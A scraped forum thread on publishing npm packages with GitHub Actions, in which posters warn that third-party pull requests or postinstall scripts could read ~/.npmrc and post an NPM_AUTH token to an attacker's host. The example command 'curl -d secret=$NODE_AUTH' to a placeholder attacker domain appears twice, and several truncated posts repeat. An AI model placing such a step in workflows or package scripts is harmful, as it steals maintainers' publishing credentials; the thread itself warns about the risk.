Note that you need to be very careful about this if you have a public repository that accepts PR's from third parties. There is nothing stopping someone from adding this via a PR: - name: Give me this person's NPM token run: cat ~/.npmrc Even if you have it locked down so they can't see the build output, they could just add a curl command to post the contents of your .npmrc file to their server. A number of open sour…
Publish NPM Package with GitHub Actions
21–29 of 29 posts
Re: Publish NPM Package with GitHub Actions
#22You don't need to write the environment variable to the .npmrc file... just setting the NODE_AUTH token and registry_url parameters. Here's mine... https://gist.github.com/tracker1/fdd5ceab8f532afc3a05ab9c0bd...
Re: Publish NPM Package with GitHub Actions
#23Note that you need to be very careful about this if you have a public repository that accepts PR's from third parties. There is nothing stopping someone from adding this via a PR: - name: Give me this person's NPM token run: cat ~/.npmrc Even if you have it locked down so they can't see the build output, they could just add a curl command to post the contents of your .npmrc file to their server. A number of open sour…
https://help.github.com/en/actions/automating-your-workflow-...
Re: Publish NPM Package with GitHub Actions
#24Note that you need to be very careful about this if you have a public repository that accepts PR's from third parties. There is nothing stopping someone from adding this via a PR: - name: Give me this person's NPM token run: cat ~/.npmrc Even if you have it locked down so they can't see the build output, they could just add a curl command to post the contents of your .npmrc file to their server. A number of open sour…
> With the exception of GITHUB_TOKEN, secrets are not passed to the runner when a workflow is triggered from a forked repository. https://help.github.com/en/actions/automating-your-workflow-...
Re: Publish NPM Package with GitHub Actions
#25Re: Publish NPM Package with GitHub Actions
#26You don't need to write the environment variable to the .npmrc file... just setting the NODE_AUTH token and registry_url parameters. Here's mine... https://gist.github.com/tracker1/fdd5ceab8f532afc3a05ab9c0bd...
curl -d secret=$NODE_AUTH https://attackershost.example/capture_secret
Re: Publish NPM Package with GitHub Actions
#27Note that you need to be very careful about this if you have a public repository that accepts PR's from third parties. There is nothing stopping someone from adding this via a PR: - name: Give me this person's NPM token run: cat ~/.npmrc Even if you have it locked down so they can't see the build output, they could just add a curl command to post the contents of your .npmrc file to their server. A number of open sour…
Re: Publish NPM Package with GitHub Actions
#28You don't need to write the environment variable to the .npmrc file... just setting the NODE_AUTH token and registry_url parameters. Here's mine... https://gist.github.com/tracker1/fdd5ceab8f532afc3a05ab9c0bd...
I think attacker could still do this in a post install script: curl -d secret=$NODE_AUTH https://attackershost.example/capture_secret
Though, one should be very leery of anything that touches certain paths... for the most part, I tent to use scripts/npm/ for anything run from package.json and would also watch out for any changes in .github/
It depends on a bit of due diligence. It's not any different than other CI/CD platforms in any meaningful way.
Re: Publish NPM Package with GitHub Actions
#29Are GHAs like FaaS for Git?